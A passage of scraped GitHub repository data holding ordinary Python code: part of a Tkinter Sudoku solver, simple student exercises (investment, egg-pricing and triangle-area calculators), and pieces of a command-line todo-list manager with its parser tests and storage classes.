Frame(searching_mw)\r\n top_fr.pack(side = 'top')\r\n c1 = Button(top_fr, \r\n text = \"Close\", # Guess one\r\n command = search_stop,\r\n )\r\n c1.pack(side = 'left')\r\n if gb.res_group.get(\"searching_board\") is not None:\r\n gb.res_group.destroy(\"searching_board\")\r\n data = SudokuData.vals2data(gb.main_puzzle) \r\n searching_board = SudokuBoard(mw=searching_mw,\r\n data = data,\r\n bdWidth=gb.sSize*.8,\r\n bdHeight=gb.sSize*.8,\r\n initialData=gb.Initial_data,\r\n puzzle=gb.main_puzzle\r\n )\r\n searching_board.showData(force=True)\r\n gb.res_group.add(ResourceEntry(searching_board), name=\"searching_board\")\r\n gb.main_puzzle.set_start_time()\r\n \r\ndef file_proc(filename, run_after_load=None):\r\n \"\"\" Process (solve) one puzzle file\r\n :filename: full file name may be a puzzle or list of puzzle files\r\n :run_after_load: True -> solve after loading, False just display\r\n Default: gb.run_after_load\r\n \"\"\"\r\n if not gb.running:\r\n return\r\n\r\n if filename.endswith(\".supzl\"):\r\n filelist_proc(filename)\r\n return\r\n \r\n if run_after_load is None:\r\n run_after_load = gb.run_after_load\r\n spl = SudokuPuzzleLoad.set_input(pfile=filename)\r\n if spl is None:\r\n return\r\n \r\n SlTrace.lg(f\"Puzzle file name:{filename}\")\r\n puzzle = spl.procCmdString()\r\n set_puzzle(puzzle, file_name=filename)\r\n puzzle.display(\"Puzzle Start\")\r\n if run_after_load:\r\n solve_main_puzzle()\r\n\r\nfile_list_files = {} # Used file list files\r\ndef filelist_proc(filename):\r\n \"\"\" Process file containing list of puzzle files\r\n :filename: filename of file containing list of puzzle files\r\n Default directory for files in list is dir(filename)\r\n \"\"\"\r\n with open(filename) as f:\r\n file_list_files[filename] = 1 # Record as being used\r\n lines = f.readlines()\r\n filedir = os.path.dirname(filename)\r\n for i in range(len(lines)):\r\n line = lines[i]\r\n ml = re.match(r'^(\\.*)#.*$', line)\r\n if ml:\r\n line = ml[1] # Before comment\r\n line = line.strip()\r\n if re.match(r'^\\s*$', line):\r\n continue # Skip blank lines\r\n name = line\r\n if not os.path.isabs(name):\r\n name = os.path.join(filedir, name)\r\n if name in file_list_files:\r\n SlTrace.lg(f\"file: {file} already used - avoiding recursive use \")\r\n continue\r\n file_proc(filename=name, run_after_load=True)\r\n \r\n \r\ndef file_open():\r\n \"\"\" Choose puzzle file\r\n \"\"\"\r\n start_dir = r\"./puzzle\"\r\n filename = filedialog.askopenfilename(\r\n initialdir = start_dir,\r\n title = \"Select puzzle file\",\r\n filetypes = ((\"puzzle files\",\"*.supz\"),(\"puzzle lists\",\"*.supzl\"),(\"all files\",\"*.*\")))\r\n file_proc(filename)\r\n\r\n\r\n# Create puzzle with number of cells filled in\r\n# Set initial_data to this\r\n\r\ndef make_puzzle(nfilled=None):\r\n \"\"\" Create puzzle with number of cells filled in\r\n Set reset_data to this\r\n :nfilled: Number of cells filled in, None = random\r\n \"\"\"\r\n ###global o_data, o_board\r\n \r\n display_close()\r\n if (gb.o_data is None):\r\n gb.o_data = SudokuData(cols=gb.nCol,\r\n rows=gb.nRow,\r\n gcols=gb.nSubCol,\r\n grows=gb.nSubRow,\r\n )\r\n\r\n gb.o_data.clear() # Clear data\r\n\r\n if gb.o_board is None:\r\n gb.o_board = SudokuBoard(mw=gb.mw,\r\n frame=new_main_bd_frame(),\r\n data=gb.o_data,\r\n bdWidth=gb.bSize,\r\n bdHeight=gb.bSize)\r\n \r\n \r\n\r\n\r\n ncell = gb.nRow*gb.nCol\r\n if (nfilled is None):\r\n nfilled = int(ncell/3)\r\n if nfilled & 1 != 0 and ncell & 1 != 0:\r\n nfilled -= 1 # No possible symitry\r\n # with odd # and even row/col\r\n\r\n o_list = SudokuData(base=gb.o_data)\r\n a_start_list = o_list.startCells(\r\n nFilled=nfilled, \r\n symRules=gb.makePuzzleSym)\r\n if (a_start_list is None):\r\n SlTrace.lg(f\"no such pattern for nRow=:{gb.nRow}, nCol=:{gb.nCol}\"\r\n + f\" nFilled={nfilled} symRules={gb.makePuzzleSym}\")\r\n sys.exit(\"quitting\")\r\n # Display start list\r\n sl = SudokuData(rows=gb.nRow, grows=gb.nSubRow, cols=gb.nCol, gcols=gb.nSubCol) # for diagnostic display\r\n SlTrace.lg(f\"start list: \")\r\n n = 0\r\n for sc in a_start_list:\r\n val = n\r\n if (n <= ord('Z')-ord('A')):\r\n val = chr(ord('A')+n)\r\n elif (n < 2*(ord('Z')-ord('A'))):\r\n val_ord = ord('a')+n-((ord('Z')-ord('A')-1))\r\n val = chr(val_ord)\r\n\r\n sl.setCellVal(sc.row, sc.col,\r\n val)\r\n SlTrace.lg(f\" (r:{sc.row}, c:{sc.col})\")\r\n n += 1\r\n\r\n sl.display()\r\n \r\n if (len(a_start_list) != nfilled):\r\n SlTrace.lg(f\"Actual list = {len(a_start_list)}\"\r\n + f\" Requested list = {nfilled}\")\r\n\r\n # Set starting arrangement\r\n o_sol = SudokuPly(base=gb.o_data)\r\n sols = o_sol.makePuzzle(\r\n startList=a_start_list)\r\n if sols is not None and len(sols) == 1 and sols[0] is not None:\r\n sol = sols[0]\r\n gb.o_data = sol.getData(subset=a_start_list)\r\n gb.o_board.showData(gb.o_data)\r\n gb.Initial_data = SudokuData(base=gb.o_data)\r\n\r\n return sols\r\n\r\nmain_bd_fr = None # Set if present\r\ndef new_main_bd_frame():\r\n \"\"\" Create a new main board frame\r\n Deleat old frame if present\r\n \"\"\"\r\n global main_bd_fr\r\n \r\n if main_bd_fr is not None:\r\n main_bd_fr.destroy()\r\n main_bd_fr = Frame(gb.top_fr)\r\n main_bd_fr.pack(side = 'bottom')\r\n return main_bd_fr\r\n\r\n \r\n# Adjust puzzle to a unique puzzle\r\n# Generally by adding starting filled cells\r\ndef adj_puzzle_uniq(sols, nfilled): # Returns: puzzle solution Ply\r\n sol = sols[0]\r\n val_max = gb.nRow\r\n if gb.nCol > val_max:\r\n val_max = nCol \r\n SlTrace.lg(f\"adj_puzzle_uniq\\n\")\r\n sol_data = sol.getData()\r\n for i in range(nfilled):\r\n nr = int(rand(nRow)+1)\r\n nc = int(rand(nCol)+1)\r\n gb.o_data.curCell(row=nr, col=nc)\r\n r_c = None\r\n ntry = 0\r\n # Space values randomly\r\n min_choice = 2 # Attempting to leave multiple choices\r\n tmc = val_max # Only look so much\r\n legalvals = [] # choices for candidate cell\r\n while True:\r\n for i1 in range(rand(val_max)+1):\r\n r_c = o_data.getNextEmpty()\r\n \r\n if r_c is not None:\r\n break # No more empty\r\n \r\n legalvals = gb.o_data.getLegalVals(r_c['row'],\r\n r_c['col'])\r\n tmc -= 1\r\n if tmc <= 0 or len(legalvals) >= min_choice:\r\n break\r\n \r\n if (r_c is None):\r\n SlTrace.lg(f\"Can't find room for puzzle\")\r\n break\r\n \r\n nr = r_c['row']\r\n nc = r_c['col']\r\n gb.o_data.setCellVal(nr, nc, sol_data.getCellVal(nr, nc))\r\n \r\n \r\n sol = uniq_sol(gb.o_data) # Make unique\r\n return sol\r\n\r\n\r\n\r\n# Reset to initial board\r\ndef reset_board():\r\n gb.o_data = SudokuData(base=gb.Initial_data)\r\n gb.o_board.showData(gb.o_data)\r\n\r\n\r\n\r\n# Setup move display\r\ndef set_move_display(display_time):\r\n ###global Display_time\r\n \r\n gb.Display_time = display_time\r\n\r\n\r\n\r\n\r\n# OK to selection\r\ndef set_selected_ok():\r\n selecteds = gb.sbox.curselection()\r\n si = selecteds[0]\r\n if si is None:\r\n set_selected_delete()\r\n return\r\n \r\n \r\n selected_val = gb.sbox_legal_vals[si]\r\n gb.o_data.setCellVal(gb.sbox_row, gb.sbox_col, selected_val)\r\n gb.o_board.showData()\r\n set_selected_delete()\r\n\r\n\r\n\r\n# CANCEL to selection\r\ndef set_selected_cancel():\r\n set_selected_delete()\r\n\r\n\r\n\r\n# Remove set_selected\r\ndef set_selected_delete():\r\n sbox_fr.destroy() \r\n if exists(sbox_fr):\r\n sbox = None\r\n\r\ndef clear_solve_main_puzzle():\r\n gb.res_group.destroy_all()\r\n SudokuPly.setDisplay(None)\r\n\r\ndef update_report(ctl=None):\r\n \"\"\" Report control variable (cF) update\r\n ctl: control reference for convenience\r\n \"\"\"\r\n gb.update_control_variables()\r\n \r\n \r\n\r\n# Solve Puzzle \r\ndef solve_main_puzzle():\r\n gb.solve_start = time.time() # Puzzle start time\r\n gb.main_puzzle.display(\"solve_main_puzzle before destroy_all: main_puzzle\")\r\n gb.res_group.destroy_all() # Clearout result displays\r\n solutions = [] # Puzzle solution(s)\r\n gb.main_puzzle.display(\"solve_main_puzzle: main_puzzle\")\r\n solution_search_display_setup()\r\n Initial_data = gb.main_puzzle # Record initial data\r\n \r\n SudokuPly.clear_search_stop()\r\n try:\r\n data = SudokuData.vals2data(gb.main_puzzle)\r\n solutions = solve_puzzle(data=data, puzzle=gb.main_puzzle)\r\n puzzle_file_name = gb.puzzle.file_name\r\n dur = time.time() - gb.solve_start\r\n nmoves = gb.main_puzzle.nmove\r\n sol_time = f\"in {dur:.2f} sec\"\r\n if puzzle_file_name is None:\r\n puzzle_name = \"\"\r\n else:\r\n puzzle_name = os.path.basename(puzzle_file_name)\r\n if len(solutions) == 0:\r\n SlTrace.lg(f\"EndPuzzle {puzzle_name} No solution to puzzle {nmoves} moves {sol_time}\")\r\n else:\r\n nsol = len(solutions)\r\n SlTrace.lg(f\"EndPuzzle {puzzle_name} solved - {nsol} solution{'' if nsol == 1 else 's'}\"\r\n + f\" {nmoves} moves {sol_time}\"\r\n )\r\n searching_board = gb.res_group.get_obj(\"searching_board\")\r\n if searching_board is not None:\r\n searching_board.trace_check(prefix=puzzle_name)\r\n nth = 0\r\n for r_solution in solutions:\r\n nth += 1\r\n r_solution.display(f\"Solution {nth} of {nsol} {puzzle_file_name}\")\r\n solve_main_puzzle_display(r_solution,\r\n f\"Solution {nth} of {nsol}\",\r\n nth,\r\n nsol)\r\n except SudokuSearchStop:\r\n SlTrace.lg(\"SudokuSearchStop\")\r\n clear_solve_main_puzzle()\r\n gb.res_group.destroy_all()\r\n SudokuPly.setDisplay(None)\r\n\r\n#\r\ndef solve_main_puzzle_display(r_solution, title=None, nth=None, nsol=None):\r\n \"\"\" Add solution display\r\n :r_position of solution:\r\n :nth: ord positionof solution\r\n :nsol: Number of solutions\r\n \"\"\"\r\n\r\n if title is not None:\r\n title = \"Solution\" \r\n if nsol is not None:\r\n nsol = 1 \r\n \r\n mw = Toplevel()\r\n mw.protocol(\"WM_DELETE_WINDOW\", search_stop)\r\n mw.title(title)\r\n x = 400\r\n y = 200\r\n x += 100*nth\r\n y += 100*nth\r\n mw.geometry(f\"+{x}+{y}\")\r\n # Find first empty slot, extending if necessary\r\n top_fr = Frame(mw)\r\n top_fr.pack(side = 'top')\r\n c1 = Button(top_fr, \r\n text = \"Close\", # Guess one\r\n command = [solve_puzzle_close, nth],\r\n )\r\n c1.pack(side = 'left')\r\n if nsol > 1:\r\n c2 = Button(top_fr, \r\n text = \"Close All\", # Close all\r\n command = solve_puzzle_close_all,\r\n )\r\n c2.pack(side = 'left')\r\n \r\n \r\n board = SudokuBoard(mw=mw,\r\n data=r_solution,\r\n bdWidth=gb.sSize,\r\n bdHeight=gb.sSize,\r\n initialData=gb.Initial_data,\r\n )\r\n gb.res_group.add(ResourceEntry(mw), number=nth)\r\n board.showData(force=True)\r\n\r\n\r\n\r\n# Close solution window\r\ndef solve_puzzle_close(si):\r\n mw = gb.mws[si]\r\n if mw is not None:\r\n if exists(mw):\r\n mw.destroy() \r\n gb.mws[si] = None\r\n\r\n\r\n# Close all solution windows\r\ndef solve_puzzle_close_all():\r\n gb.res_group.destroy_all()\r\n\r\n\r\ndef solve_puzzle(data=None, puzzle=None): # Returns: ref to solution, else None\r\n r_data = data\r\n if r_data is None:\r\n raise SelectError(\"solve_uzzle: data missing\") \r\n \r\n solve_puzzle_close_all()\r\n s_ply = SudokuPly(base=r_data, puzzle=puzzle)\r\n return s_ply.solveChoice(first=gb.nFirst)\r\n\r\n\r\n\r\n#\r\ndef uniq_sol(r_data): # \r\n \"\"\" Return a puzzle with a unique solution\r\n :returns: SudokuPly with one solution, else None\r\n \"\"\"\r\n ### return r_sols[0] #### STUB\r\n s_ply = SudokuPly(base=gb.o_data)\r\n sols = s_ply.solveChoice(first=gb.nRow)\r\n while (len(sols) > 1):\r\n squares = []\r\n for ri in range(gb.nRow):\r\n row = ri + 1\r\n for ci in range(gb.nCol):\r\n col = ci + 1\r\n if not r_data.isEmptyCell(row, col):\r\n continue \r\n \r\n valh = {}\r\n for r_sol in sols:\r\n val = r_sol.getCellVal(row, col)\r\n if r_data.isEmpty(row, col):\r\n SlTrace.lg(f\"Empty sol row={row}, col={col}\")\r\n continue\r\n valh[val] = 1\r\n vals = valh.keys()\r\n nval = len(vals) # Number of different values\r\n if nval > 1:\r\n squares.append(CellDesc(nval=nval, row=row, col=col, vals=vals))\r\n \r\n squares.sort(key=lambda cell: cell.nval)\r\n r_nc = squares[0] # With most values\r\n r_data.setCellVal(r_nc['row'], r_nc-['col'], r_nc['vals'][0])\r\n s_ply = SudokuPly(base=gb.o_data)\r\n sols = s_ply.solveChoice(first=nRow)\r\n\r\n return sols[0] # stub - just return first if any\r\n\r\n" } ]
17
kakhan87/Python-Apps
https://github.com/kakhan87/Python-Apps
fb3a7c4ba87b08c7cdb115ac202bdf866a323ba5
0e40c33fd7ff0012a0da91703ceaac9aec6eb6ed
cc5f693d847e4932b7115494d21783c9773f6881
refs/heads/master
2022-06-25T16:15:30.389491
2020-05-04T18:00:51
2020-05-04T18:00:51
261,253,438
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7894737124443054, "alphanum_fraction": 0.7894737124443054, "avg_line_length": 46.5, "blob_id": "45b431ce38ccd63c8cd47b5a9cde8cbf67f5ced9", "content_id": "c7618f93224a6233fb5d5caafe13c2f4c129bf94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 95, "license_type": "no_license", "max_line_length": 80, "num_lines": 2, "path": "/README.md", "repo_name": "kakhan87/Python-Apps", "src_encoding": "UTF-8", "text": "# Python-Apps\nThis repo demonstrates a number of Python apps I created during my time at SAIT.\n" }, { "alpha_fraction": 0.596707820892334, "alphanum_fraction": 0.6111111044883728, "avg_line_length": 46.099998474121094, "blob_id": "c333629a2e51de8ed64df59f0229d467b7707669", "content_id": "4a676e4de68d627fc82bc4905f6633fd047e1f33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 486, "license_type": "no_license", "max_line_length": 107, "num_lines": 10, "path": "/Investment_Table_V1.py", "repo_name": "kakhan87/Python-Apps", "src_encoding": "UTF-8", "text": "principalAmount = float(input(\"What is your principal amount invested?: \"))\n\nannualInterestRate = float(input(\"What is the annual interest rate (in percent)?: \"))\n\ninvestmentYears = int(input(\"How many years will this be invested for?: \")) \n\nprint(\"Year\", \" \", \"Balance\")\nfor year in range(1, investmentYears+1) :\n balance = principalAmount * ((1 + annualInterestRate/100)**year)\n print(\" \", year, \" \", \"${:,.2f}\".format(balance) )\n \n \n \n" }, { "alpha_fraction": 0.5439394116401672, "alphanum_fraction": 0.6015151739120483, "avg_line_length": 29, "blob_id": "a7e5fb0551cf09dc6dc8e7af9617ad47f31e71c3", "content_id": "93a1fbb214ae981b49c78326108f7335fd333226", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 660, "license_type": "no_license", "max_line_length": 102, "num_lines": 22, "path": "/Bilbo's Eggs.py", "repo_name": "kakhan87/Python-Apps", "src_encoding": "UTF-8", "text": "# Task 3\n\nnumber_of_eggs = float(input(\"Enter number of eggs: \"))\n\nif (number_of_eggs >= 0 and number_of_eggs < 4 * 12):\n price_per_dozen = 0.5\n\nelif (number_of_eggs >= 4 * 12 and number_of_eggs < 6 * 12):\n price_per_dozen = 0.45\n\nelif (number_of_eggs >= 6 * 12 and number_of_eggs < 11 * 12):\n price_per_dozen = 0.4 \n\nelif (number_of_eggs >= 11 * 12):\n price_per_dozen = 0.35\n \nelse:\n print(\"Invalid value. Value must be greater than zero.\")\n \n\nprint(\"Your cost is $\", price_per_dozen,\" or \", round(price_per_dozen / 12, 3), \" per egg.\", sep = \"\")\nprint(\"Your bill comes to $\", round(number_of_eggs / 12 * price_per_dozen, 3), sep = \"\")\n" }, { "alpha_fraction": 0.6256613731384277, "alphanum_fraction": 0.6322751045227051, "avg_line_length": 30.5, "blob_id": "a2508d466fdf7382c071f63ebd3ddb27df88d09f", "content_id": "4b60626753f1c31ed0d39f93446c9b59843849ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 756, "license_type": "no_license", "max_line_length": 79, "num_lines": 24, "path": "/Triangle_Area_Error_Detection.py", "repo_name": "kakhan87/Python-Apps", "src_encoding": "UTF-8", "text": "# Task 1\n\nimport sys\n\n# Input base length in cm\nbase_length = float(input(\"What is the base length of the triangle (in cm)? \"))\nif not (base_length > 0):\n print(\"**Error - the base length must be a positive number. You entered\",\n int(base_length))\n sys.exit()\n\n# Input height in cm\nheight = float(input(\"What is the height of the triangle (in cm)? \"))\nif not (height > 0):\n print(\"**Error - the height must be a positive number. You entered\",\n int(height))\n sys.exit()\n \n# Calculate area of triangle in sq m\narea_triangle = 0.5 * (base_length) * (height)\n\n# Print result\nprint(\"A triangle with a base of \", base_length, \" cm and height of \", height,\n \" cm has an area of \", int(area_triangle), \" sq cm\", sep=\"\")\n" }, { "alpha_fraction": 0.6191198825836182, "alphanum_fraction": 0.6358118653297424, "avg_line_length": 26.45833396911621, "blob_id": "7b04bb83447a7556591ea1632eed01458fd703c4", "content_id": "a6120cb1bea5ae4f013e1cb6fe711974f4719d96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 659, "license_type": "no_license", "max_line_length": 103, "num_lines": 24, "path": "/Investment_Table_V2.py", "repo_name": "kakhan87/Python-Apps", "src_encoding": "UTF-8", "text": "SENTINEL = 0\nyear = 1\nhaveAllData = False\n \nbalance = float(input(\"What is your principal amount invested?: \"))\n\nprincipal = balance\n\n\nwhile (not haveAllData) :\n\n interestRate = float(input(\"What is the interest rate for year \" + str(year) + \" (in percent)?: \"))\n\n if interestRate == SENTINEL :\n haveAllData = True\n \n else :\n year = year + 1\n balance = balance * (1 + interestRate / 100)\n yearIncomeAverage = (balance - principal) / (year - 1)\n\nprint(\"At the end of \", (year - 1), \"years, your investment will be worth ${:.2f}\".format(balance))\n\nprint(\"Your average yearly income is ${:.2f}\".format(yearIncomeAverage))\n" }, { "alpha_fraction": 0.5350733995437622, "alphanum_fraction": 0.5367047190666199, "avg_line_length": 33.94117736816406, "blob_id": "d527d6dcaa5c989763e44c336cbb41d9e183f4c7", "content_id": "23fc212f4786fb86de8258dae4d4ed24a445db8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 613, "license_type": "no_license", "max_line_length": 72, "num_lines": 17, "path": "/Technical Support.py", "repo_name": "kakhan87/Python-Apps", "src_encoding": "UTF-8", "text": "# Task 2\n\ncomputer_beep = input(\"Does the computer beep when powered on? [Y/N]: \")\n\ndrive_spin = input(\"Does the drive spin when powered on? [Y/N]: \")\n\nif (computer_beep == 'Y' and drive_spin == 'Y') :\n print(\"Contact Tech Support.\")\nelse:\n if (computer_beep == 'Y' and drive_spin == 'N') :\n print(\"Check drive cables.\")\n else:\n if (computer_beep == 'N' and drive_spin == 'N') :\n print(\"Bring computer to repair centre.\")\n else:\n if (computer_beep == 'N' and drive_spin =='Y') :\n print(\"Check the speaker contacts.\")\n \n" } ]
6
cmabastar/flask-rest-boilerplate
https://github.com/cmabastar/flask-rest-boilerplate
5c924d9261d852de22e041d960877264c0c791b8
3715060650ef3322777148db5d905c191072f8f7
e0adeb968f2e49b88cd7c156d99e951c869bf656
refs/heads/master
2021-01-21T15:04:04.433213
2015-02-25T15:54:38
2015-02-25T15:54:38
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7194244861602783, "alphanum_fraction": 0.7194244861602783, "avg_line_length": 33.75, "blob_id": "bab99e2ca237134ef2fd13d555893ccfac5bb4e2", "content_id": "5f967c01e5541ab96ed5242b9430d8a27513966c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 139, "license_type": "no_license", "max_line_length": 76, "num_lines": 4, "path": "/app/constants.py", "repo_name": "cmabastar/flask-rest-boilerplate", "src_encoding": "UTF-8", "text": "from util import enum\n\nGenders = enum(M=u'Male', F=u'Female')\nRoles = enum(USER=u'User', ADMIN=u'Administrator', APP=u'Application Owner')\n" }, { "alpha_fraction": 0.7267759442329407, "alphanum_fraction": 0.7267759442329407, "avg_line_length": 19.33333396911621, "blob_id": "a59c97764d1a4030c1b4046f6c710a8ba0562623", "content_id": "c96a1fe5dfe9be8d9ffc169aecad33345fc3a9e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 366, "license_type": "no_license", "max_line_length": 53, "num_lines": 18, "path": "/manage.py", "repo_name": "cmabastar/flask-rest-boilerplate", "src_encoding": "UTF-8", "text": "from flask.ext.script import Manager\nfrom flask.ext.migrate import Migrate, MigrateCommand\nfrom app import app, db\n\nmigrate = Migrate(app, db)\n\nmanager = Manager(app)\nmanager.add_command('db', MigrateCommand)\n\n\[email protected]\ndef populate(sample_data=False):\n \"Populate database with default data\"\n pass\n\n\nif __name__ == '__main__':\n manager.run()\n" } ]
2
miphreal/arise.todo
https://github.com/miphreal/arise.todo
390e22084baf1654c117a9af7c25e17fc097343f
4c5980086194da42e76c002b0deb8d762bc99e63
28ce694ace49a7d932fc2721c524f9bcae790e95
refs/heads/master
2016-09-05T13:42:51.682947
2013-11-26T23:08:03
2013-11-26T23:08:03
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49293026328086853, "alphanum_fraction": 0.5221843123435974, "avg_line_length": 43.58695602416992, "blob_id": "c948362e58e425c0e05e6676d04471e4c0aae8b9", "content_id": "b1e2b5a6dff50626a923e33b9956a78cfdac1bd9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2051, "license_type": "permissive", "max_line_length": 91, "num_lines": 46, "path": "/tests/tests_todo_engine.py", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "from logging import info\nfrom unittest import TestCase\n\nfrom hamcrest import *\nfrom arise_todo.core.parser import Task\n\n\nclass TaskTest(TestCase):\n \n TEST_DATA = (\n ('(A) task', '(A) task'),\n ('task (A)', '(A) task'),\n ('task (A12) ksat', '(A12) task ksat'),\n ('(A) task +prj', '(A) task +prj'),\n ('(A) task +prj-prj', '(A) task +prj-prj'),\n ('(A) task +prj/prj +jrp', '(A) task +prj/prj +jrp'),\n (' +prj (A) task', '(A) task +prj'),\n ('(A) +prj-prj task ', '(A) task +prj-prj'),\n ('+prj/prj (A) task +jrp', '(A) task +prj/prj +jrp'),\n ('(A) task +prj @ctx', '(A) task +prj @ctx'),\n ('(A) task +prj-prj @ctx-ctx', '(A) task +prj-prj @ctx-ctx'),\n ('(A) task +prj/prj +jrp @ctx/ctx @xtc', '(A) task +prj/prj +jrp @ctx/ctx @xtc'),\n (' +prj @ctx (A) task', '(A) task +prj @ctx'),\n ('(A) +prj-prj @ctx-ctx task ', '(A) task +prj-prj @ctx-ctx'),\n ('+prj/prj @ctx/ctx (A) task +jrp @xtc', '(A) task +prj/prj +jrp @ctx/ctx @xtc'),\n ('(A) task &todo', '(A) &todo task'),\n ('(A) task &in-progress', '(A) &in-progress task'),\n ('(A) task &done(2013-11-10 22:33)', '(A) &done(2013-11-10 22:33) task'),\n ('(A) task #2013-11-10 22:33 task', '(A) task task #2013-11-10 22:33'),\n ('(A) task key:value key1:\"value value\"', '(A) task key:value key1:\"value value\"'),\n ('(A) task key:value key1:\"value value\" task-continue asdf..',\n '(A) task task-continue asdf.. key:value key1:\"value value\"'),\n )\n \n def test_init(self):\n for task, expected in self.TEST_DATA:\n assert_that(unicode(Task(task)), equal_to(expected))\n info('{:<40} result=> {}'.format(task, Task(task)))\n\n def test_consistent(self):\n for task, expected in self.TEST_DATA:\n assert_that(unicode(Task(unicode(Task(task)))), equal_to(expected))\n\n def test_data(self):\n for task, expected in self.TEST_DATA:\n print '{:<40} result=> {}'.format(task, Task(task).data)\n" }, { "alpha_fraction": 0.649289071559906, "alphanum_fraction": 0.649289071559906, "avg_line_length": 22.44444465637207, "blob_id": "63e812fcf9909376e166ad6668adfbe27576607a", "content_id": "556287795bcf5e0f3c39ddc64d5356e3f3e9652b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 211, "license_type": "permissive", "max_line_length": 57, "num_lines": 9, "path": "/arise_todo/core/conf.py", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "from arise_todo.storage.backends import text_file\nSTORAGES = {\n 'text_file': text_file.TextStorage,\n}\n\nDEFAULT_STORAGE = {\n 'name': 'text_file',\n 'options': {'file_name': '~/.config/arise.todo/todo'}\n}\n" }, { "alpha_fraction": 0.5843318104743958, "alphanum_fraction": 0.5843318104743958, "avg_line_length": 21.14285659790039, "blob_id": "76aafd79b5f7d2f4ba430863d9733ed35cdf80f1", "content_id": "fd02f0ade994371d571e4065fd1517232afc6b65", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1085, "license_type": "permissive", "max_line_length": 76, "num_lines": 49, "path": "/arise_todo/access/cli.py", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nimport cmd\nfrom arise_todo.core.manager import TasksManager\n\n\nclass CLI(cmd.Cmd):\n intro = 'Simple tasks CLI'\n prompt = '> '\n\n def _print_tasks(self, tasks):\n for task in tasks:\n print '[{t.id!s}] {t!s}'.format(t=task)\n\n def emptyline(self):\n pass\n\n def preloop(self):\n self.tasks = TasksManager()\n\n def postloop(self):\n self.tasks.close()\n\n def do_q(self, empty):\n return True\n\n def do_mk(self, task_text):\n self.tasks.add(task_text)\n\n def do_rm(self, task_text):\n self.tasks.delete(task_text)\n\n def do_ed(self, task_uuid):\n new_task = raw_input('[Edit {}] {}'.format(task_uuid, self.prompt))\n self.tasks.edit(task_uuid, new_task)\n\n def do_mv(self, task):\n after = raw_input('[After] {}'.format(self.prompt))\n self.tasks.move_after(task, after)\n\n def do_ls(self, query):\n self._print_tasks(self.tasks.search(query) if query else self.tasks)\n\n\ndef run():\n CLI().cmdloop()\n\n\nif __name__ == '__main__':\n run()\n" }, { "alpha_fraction": 0.574212908744812, "alphanum_fraction": 0.5822088718414307, "avg_line_length": 23.40243911743164, "blob_id": "5d932e59eb78ac2190ae04f777c7b272c49e8ef3", "content_id": "7f6ad99edbad82569a1e179c0c6fc3e6bcc424f9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2001, "license_type": "permissive", "max_line_length": 89, "num_lines": 82, "path": "/arise_todo/storage/base.py", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "import re\nimport uuid\n\nfrom arise_todo.core.parser import Task\n\n\nclass BaseStorage(object):\n uuid_re = re.compile(r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')\n\n def __init__(self):\n self._connected = False\n\n def _is_uuid(self, task):\n if isinstance(task, (str, unicode)):\n return self.uuid_re.match(task)\n elif isinstance(task, uuid.UUID):\n return True\n return False\n\n def _fake_task(self, task_uuid):\n return Task('', task_id=task_uuid)\n\n def task(self, task):\n if isinstance(task, Task):\n return task\n elif self._is_uuid(task):\n return self._fake_task(task)\n elif isinstance(task, (str, unicode)):\n return Task(task)\n raise TypeError\n\n def get(self, task_uuid):\n raise NotImplementedError\n\n def add(self, task, after_task=None, before_task=None):\n raise NotImplementedError\n\n def delete(self, task_or_uuid):\n raise NotImplementedError\n\n def replace(self, task_or_uuid, new_task):\n raise NotImplementedError\n\n def move_after(self, task_or_uuid, after_task_or_uuid):\n \"\"\"\n Places the task after `after_task`\n \"\"\"\n raise NotImplementedError\n\n def move_before(self, task_or_uuid, before_task_or_uuid):\n \"\"\"\n Places the task before `before_task`\n \"\"\"\n raise NotImplementedError\n\n def search(self, query, treat_as_regex=True):\n \"\"\"\n Matches tasks with query\n \"\"\"\n raise NotImplementedError\n\n def iterate(self):\n \"\"\"\n Iterates over all tasks\n \"\"\"\n raise NotImplementedError\n\n def __iter__(self):\n return iter(self.iterate())\n\n def __contains__(self, task):\n raise NotImplementedError\n\n def connect(self):\n self._connected = True\n\n def disconnect(self):\n self._connected = False\n\n @property\n def connected(self):\n return self._connected\n" }, { "alpha_fraction": 0.6532066464424133, "alphanum_fraction": 0.6532066464424133, "avg_line_length": 34.08333206176758, "blob_id": "2dafd3fa829e75b2cc153aab9e88d0e6b6526e38", "content_id": "4bb90593f0258a375c00aaa4a8485f75a6b93e0c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 421, "license_type": "permissive", "max_line_length": 75, "num_lines": 12, "path": "/arise_todo/core/utils.py", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "def get_storage(name=None, options=None):\n from .conf import STORAGES, DEFAULT_STORAGE\n if name and name not in STORAGES:\n raise KeyError('{} storage does not exist'.format(name))\n\n options = options or {}\n\n if name:\n return STORAGES[name](**options)\n else:\n storage_class = STORAGES[DEFAULT_STORAGE['name']]\n return storage_class(**dict(DEFAULT_STORAGE['options'], **options))\n" }, { "alpha_fraction": 0.44186046719551086, "alphanum_fraction": 0.6511628031730652, "avg_line_length": 